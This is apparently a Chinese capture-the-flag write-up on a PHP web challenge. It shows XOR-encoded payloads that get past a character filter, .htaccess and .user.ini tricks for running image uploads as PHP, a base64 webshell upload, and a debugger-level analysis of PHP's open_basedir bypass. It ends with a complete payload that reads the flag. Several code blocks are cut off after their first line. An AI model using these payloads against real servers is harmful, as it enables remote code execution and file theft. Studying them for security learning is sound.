异或绕过以及文件上传之.htaccess文件以及open_basedir绕过
打开页面,发现是源码
1 | <?php |
通过审计源码,我们可以看见一个正则过滤
1 | preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) |
可见它过滤了数字和字母,以及一些符号,所以此时我们可以尝试着使用取反绕过或异或绕过,但是由于这里有长度绕过
1 | if(strlen($character_type)>12) |
所以最后决定采用异或绕过,因此我们可以写一个exp
1 | <?php |
即可得到
1 | G |
[异或或取反绕过][https://www.cnblogs.com/cimuhuashuimu/p/11546422.html]
因此,可以构造payload
1 | ?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo |
然后可以看到php版本得信息,从disable_function中,我们可以看见很多函数被过滤掉了,所以我们可以尝试源码中得get_the_flag()函数,而从get_the_flag()函数中,我们可以知道我们需要上传文件,但是在源码中,我们可以看见
1 | if(preg_match("/ph/i",$extension)) die("^_^"); |
这个if将文件后缀为php、phtml等文件都过滤掉了,而这个if
1 | if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) |
将文件内容有<?的文件给过滤掉了,而这个if
1 | if(!exif_imagetype($tmp_name)) |
会检查文件头且限定只能上传image
而由于这里的php版本太高,所以不可以使用
1 | <script language="php"></script> |
html的格式,所以我们可以利用.user.ini文件或.htaccess文件,
htaccess文件
htacess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置
利用方法一
1 | <FilesMatch "test"> |
通过它调用php解析器去解析文件名,只要文件名中包含”test”这个字符串的任意文件,无论扩展名是什么,都会以php的方式来解析
利用方法二
1 | AddType application/x-httpd-php .png |
让.png文件解析为php文件
.user.ini文件
对于.user.ini文件来说,只要是以fastcgi运行的php都可以用这个方法
利用方法
1 | GIF89a |
所有的php文件执行前都会将1.jpg文件当作是php类型文件先包含执行一遍,这里的GIF89a是文件幻术头进行绕过
回到题目本身,由于.user.ini是适用于nginx的,而.htaccess文件是适用于apache服务器,所以看php版本的信息后,我们可以知道这是apache服务器,所以使用.htaccess文件,我们可以将上传文件中的一句话用base64加密,然后在.htaccess中利用php伪协议进行解码,但是如果用GIF89a文件头来绕过文件头检测的话,.htaccess文件会无效,所以我们可以使用
1 | #define width 1337 |
由于#在.htaccess文件中是注释符的作用,因此可以绕过文件头检测,所以我们可以上传.htaccess文件
1 | #define width 1337 |
然后上传shell.ahhh文件
1 | GIF89a12 #12是为了补足8个字节,满足base64编码的规则 |
然后构造上传的exp
1 | import requests |
得到路径
1 | upload/tmp_93df0602d768e80cec04f22bc0fb368d/.htaccess |
然后访问shell.ahhh,发现可以访问
方法一
直接用蚁剑连接即可登录后台并得到flag
方法二
我们从disable_function中可以知道没有封禁的函数有echo、file_get_contents()、var_dump()和scandir()等,所以我们可以构造
1 | ?cmd=var_dump(scandir("/")); |
来读取目录下的文件,但发现不行,因为在php版本中的open_basedir不可以访问/etc目录,所以我们需要bypass open_basedir
bypass open_basedir
ini_set覆盖问题
exp
1 | <?php |
运行后的结果
1 | string(0) "" |
可以看见open_basedir默认的值是空的,当第一次设置为/tmp后,后面无论怎么设置,都不会对第一次设置的open_basedir的值进行覆盖
原因
找到php函数对应的底层函数
1 | ini_get:PHP_FUNCTION(ini_get) |
这里主要看ini_set的流程,因为ini_set是为一个配置选项设置值的,而ini_get是作为信息输出函数
我们先对ini_set下断点,然后运行
1 | b /php7.0-src/ext/standard/basic_functions.c 5350 |
发现有三个初始值
1 | zend_string *varname; |
然后会对我们输入的varname和new_value两个值进行处理,会得到
varname.val
1 | pwndbg> p &varname.val |
new_value.val
1 | pwndbg> p &new_value.val |
上面都是zend_string的结构体,是php7的新增结构,然后程序会拿到原来的open_basedir的值化为zend_string结构
1 | pwndbg> p &old_value.val |
然后会进入php_ini_check_path
1 | if(PG(open_basedir)){ |
由于open_basedir默认为空,所以会跳出判断,进入到下一步
1 | if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) { |
看见这个if,我们可以看看一下FAILURE的定义
1 | typedef enum { |
发现当zend_alter_ini_entry_ex的返回值不为-1时,则代表成功,否则进入if,返回false,而经过比对,我们可以知道当第一次设置open_basedir和第二次设置open_basedir值时,这里返回的值是不一样的,第一次设置时,这里为SUCCESS,即为0,第二次设置为FAILURE,即为-1,所以我们可以看zend_alter_ini_entry_ex进行比对
1 | b /php7.0-src/Zend/zend_ini.c:330 |
发现两次不同点在于以下判断
第一次
1 | if (!ini_entry->on_modify|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS) |
第二次
1 | ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1 |
发现里面有个on_modify(有关修改),所以我们可以单步跟进
1 | PHPAPI ZEND_INI_MH(OnUpdateBaseDir) |
发现是因为进行了以下操作才会在第二次时返回FAILURE
1 | if (php_check_open_basedir_ex(ptr, 0) != 0) { |
正是因为php_check_open_basedir_ex()没有通过才导致ini_set失败,但是在第一次是通过的,所以如果想要利用ini_set覆盖之前的open_basedir,就要通过这个校验
所以我们要分析php_check_open_basedir_ex,来bypass php_check_open_basedir_ex
php_check_open_basedir_ex的源码
1 | if (strlen(path) > (MAXPATHLEN - 1)) { |
首先判断路径是否超过1023,然后就是另一个校验函数
1 | if (php_check_specific_open_basedir(ptr, path) == 0) { |
分析php_check_specific_open_basedir函数
1 | if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) { |
它首先比对了当前目录并赋值给local_open_basedir
1 | path_len = strlen(path); |
然后看目录名长度是否合法
1 | if (expand_filepath(path, resolved_name) == NULL) { |
1 | PHPAPI char *expand_filepath(const char *filepath, char *real_path){ |
然后将传入的path,用绝对路径保存在resolved_name中
然后继续判断
1 | if (expand_filepath(local_open_basedir, resolved_basedir) != NULL) |
1 | if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) |
将local_open_basedir的值存放在resolved_basedir中,用于后面比较
而上面的操作正是匹配路径是否是open_basedir规定路径
所以我们可以关注可控点expand_filepath()函数,我们可以分析expand_filepath()函数
1 | PHPAPI char *expand_filepath(const char *filepath, char *real_path){ |
再分析expand_filepath_ex()函数
1 | if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {efree(new_state.cwd); |
然后再分析virtual_file_ex()函数
1 | if (!IS_ABSOLUTE_PATH(path, path_length)) { |
上述代码的意思是目录拼接操作,如果path不是绝对路径,同时state->cwd长度为0,就会直接将path作为绝对路径保存在resolved_path中,否则在state->cmd后拼接
因此,我们最后落点在path_length,决定拼接的长度
1 | path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL); |
跟进tsrm_realpath_r,发现path_length操作在
1 | remove double slashes and '.' |
所以expand_filepath()函数主要关注相对路径和绝对路径,但是没有关注相对路径的实时变化
整体思路
但open_basedir第一次设置后,再次设置是不被允许的,但是由于没有考虑open_basedir为相对路径的实时变化,所以当当前目录是相对路径,而不是绝对路径时,就会触发expand_filekpath()函数漏洞,会将当前目录,即相对路径,存储到resolve_path中,从而绕过检验php_check_open_basedir_ex函数的检验,从而可以更改open_basedir的值,当我们ini.set(‘open_basedir’,’…’)时,只要我们跳转一次,open_basedir的目录也会跳转一次,并将当前的目录存储在resolve_path中,从而可以让我们绕过open_basedir的限制,可以访问根目录
回到题目本身,我们可以先跳转到open_basedir中的目录
1 | chdir('/tmp') |
然后在open_basedir目录下建立新目录,然后跳转到新目录下,此时为相对路径,所以我们可以重置open_basedir,即
1 | ini_set('open_basedir','..') |
然后一直是使用
1 | chdir('..') |
跳转,此时open_basedir也一直跳转,最后跳转到根目录后,重置open_basedir
1 | ini_set('open_basedir','\') |
即可读取根目录下的文件,因此构造payload
1 | ?cmd=chdir('img');mkdir('shiwang');chdir('shiwang');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g')); |
参考文章:[https://blog.51cto.com/u_15127538/2702757]
[https://blog.csdn.net/qq_42967398/article/details/105615235]